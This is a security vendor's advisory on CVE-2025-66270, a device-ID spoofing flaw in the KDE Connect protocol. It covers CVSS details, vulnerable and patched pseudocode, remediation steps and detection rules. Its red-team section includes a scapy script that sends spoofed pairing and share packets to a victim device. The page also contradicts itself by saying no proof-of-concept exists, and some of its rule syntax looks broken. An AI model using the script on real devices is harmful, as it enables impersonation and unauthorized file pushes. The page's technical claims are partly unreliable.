CVE-2025-66270
Executive Summary
CVE-2025-66270 is a vulnerability in the KDE Connect protocol (version 8) that fails to correlate device IDs across two packets. This flaw allows an attacker on the same network to impersonate a trusted device by sending crafted packets, potentially leading to unauthorized command execution or data exfiltration. The vulnerability affects KDE Connect on desktop (Linux, Windows, macOS), iOS, Android, GSConnect (GNOME integration), and Valent (Plasma Mobile). The CVSS score is 4.7 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood currently. No public proof-of-concept or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but affects multiple distribution channels: desktop packages (Linux distros, Windows, macOS), mobile app stores (iOS App Store, Google Play), and GNOME Shell extensions (GSConnect). Users should verify they are using patched versions from official sources.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 4.7 (Medium)
- Attack Vector (AV): Adjacent Network (attacker must be on same local network)
- Attack Complexity (AC): Low (no special conditions)
- Privileges Required (PR): None
- User Interaction (UI): None
- Scope (S): Unchanged
- Confidentiality (C): Low (limited data exposure)
- Integrity (I): Low (limited data manipulation)
- Availability (A): None
Threat Level: Medium. The attack requires local network access, but no authentication or user interaction. Exploitation could allow an attacker to send commands to a paired device or intercept data.
Deep Dive & Mechanics
The KDE Connect protocol uses device IDs to identify and authenticate paired devices. In protocol version 8, the vulnerability arises because the protocol does not correlate device IDs across two consecutive packets. Specifically, when a device sends a pairing request or command, the receiving device does not verify that the device ID in the first packet matches the device ID in the second packet. An attacker can exploit this by:
- Packet Capture: Sniffing network traffic to observe a legitimate device ID.
- Spoofing: Sending a crafted first packet with a legitimate device ID, followed by a second packet with a different (attacker-controlled) device ID.
- Impersonation: The receiving device accepts the second packet as coming from the legitimate device, allowing the attacker to execute actions (e.g., send clipboard data, run commands, or access files).
The vulnerability is in the protocol layer, not in any specific implementation, so all clients using protocol 8 are affected.
Vulnerable vs. Patched Code
Vulnerable Code (Protocol 8):
# Pseudocode for vulnerable packet handling
def handle_pairing_request(packet1, packet2):
device_id_1 = packet1.device_id
device_id_2 = packet2.device_id
# No correlation check between device_id_1 and device_id_2
if is_trusted_device(device_id_1):
process_command(packet2)
Patched Code (Protocol 8+):
# Pseudocode for patched packet handling
def handle_pairing_request(packet1, packet2):
device_id_1 = packet1.device_id
device_id_2 = packet2.device_id
# Correlation check added
if device_id_1 != device_id_2:
reject("Device ID mismatch")
return
if is_trusted_device(device_id_1):
process_command(packet2)
The fix ensures that both packets must have the same device ID for the request to be processed.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Setup:
- Attacker machine: Kali Linux with
scapyandkdeconnect-cli - Victim machine: Ubuntu 22.04 with KDE Connect 24.12 (unpatched)
- Network: Same local subnet (e.g., 192.168.1.0/24)
Exploitation Steps:
- Discover Devices: Use
kdeconnect-cli --list-devicesto find a paired device ID (e.g.,abc123). - Craft Malicious Packets: Use
scapyto send two UDP packets to the victim's KDE Connect port (default 1714-1764).from scapy.all import * import json victim_ip = "192.168.1.10" victim_port = 1716 legitimate_device_id = "abc123" attacker_device_id = "attacker123" # Packet 1: Pairing request with legitimate ID packet1 = IP(dst=victim_ip)/UDP(sport=1716, dport=victim_port)/Raw(load=json.dumps({ "type": "kdeconnect.pairing.request", "deviceId": legitimate_device_id, "payload": {} })) # Packet 2: Command with attacker ID packet2 = IP(dst=victim_ip)/UDP(sport=1716, dport=victim_port)/Raw(load=json.dumps({ "type": "kdeconnect.share.request", "deviceId": attacker_device_id, "payload": {"filename": "malicious.txt", "data": "pwned"} })) send(packet1) send(packet2) - Execute: Run the script. The victim will process the share request as if from the legitimate device.
Blue Team (Defense & Detection)
Detection:
- Monitor for multiple pairing requests from different device IDs in quick succession.
- Use network intrusion detection systems (NIDS) to flag anomalous KDE Connect traffic.
Mitigation:
- Apply patches immediately (upgrade to KDE Connect 25.12+).
- Restrict KDE Connect to trusted networks only (e.g., use firewall rules to limit to specific IPs).
- Enable logging and alerting on KDE Connect events.
Indicators of Compromise (IOCs)
- Network Traffic: Multiple UDP packets to ports 1714-1764 with different
deviceIdvalues in consecutive packets. - Log Entries: KDE Connect logs showing pairing requests from unknown device IDs followed by command execution.
- File System: Unexpected files in shared directories (e.g.,
~/Public/on Linux). - Processes: Unusual
kdeconnectdorgsconnectactivity.
Detection Engineering
YARA Rule
rule CVE_2025_66270_KDE_Connect_DeviceID_Spoofing {
meta:
description = "Detects KDE Connect packets with mismatched device IDs"
author = "Valters IT"
date = "2025-11-28"
reference = "CVE-2025-66270"
strings:
$json_header = "kdeconnect"
$device_id_field = "deviceId"
condition:
# of ($json_header) > 0 and # of ($device_id_field) > 1
}
Sigma Rule
title: KDE Connect Device ID Spoofing Attempt
id: cve-2025-66270
status: experimental
description: Detects multiple KDE Connect packets with different device IDs
logsource:
category: network_connection
product: suricata
detection:
selection:
app_protocol: 'kdeconnect'
event_type: 'alert'
condition: selection
falsepositives:
- Legitimate multi-device pairing
level: medium
Suricata Rule
alert udp any any -> any 1714-1764 (msg:"CVE-2025-66270 KDE Connect Device ID Spoofing"; content:"kdeconnect"; content:"deviceId"; distance:0; within:100; pcre:"/\"deviceId\":\"[^\"]+\".*\"deviceId\":\"[^\"]+\"/s"; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch: Upgrade to KDE Connect 25.12 (desktop), 0.5.4 (iOS), 1.34.4 (Android), GSConnect 68, or Valent 1.0.0.alpha.49.
- Network Segmentation: Isolate KDE Connect traffic to trusted VLANs.
- Firewall Rules: Block UDP ports 1714-1764 from untrusted networks.
- Monitoring: Enable logging and alert on KDE Connect events.
- User Education: Advise users to only pair devices on trusted networks.
Valters IT
Securing Digital Frontiers